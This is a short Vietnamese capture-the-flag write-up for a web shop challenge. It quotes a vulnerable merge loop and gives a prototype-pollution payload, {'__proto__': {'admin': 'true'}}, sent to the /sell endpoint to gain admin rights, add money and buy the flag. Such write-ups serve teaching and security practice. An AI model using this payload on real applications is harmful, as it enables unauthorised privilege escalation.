- Độ khó: 200
- các chức năng của trang web:
- Thêm một sản phẩm
- Mua sản phẩm, trong danh sách sản phẩm có sản phẩm chứa flag
- Thêm tiền vào tài khoản khi là admin
- chức năng thêm sản phẩm bị lỗi prototype pollution:
if (k === 'quantity') {
phones[key][k] += v;
} else {
phones[key][k] = v;
}
}
Khi k khác quantity thì khi gửi json có {'__proto__': {'admin': 'true'}}
khiến mọi object tồn tại trong ứng dụng có thuộc tính admin có giá trị true bao gồm req.session.
- Khai thác lỗ hổng
- lên admin bằng cách gửi
{'__proto__': {'admin': 'true'}, 'xiaomi': { 'quantity': 1 }}
lên endpoint /sell. - thêm tiền vào tài khoản:
{ 'money': 10000 }
để đủ tiền mua flag. - Mua flag khi đã có đủ tiền.
- lên admin bằng cách gửi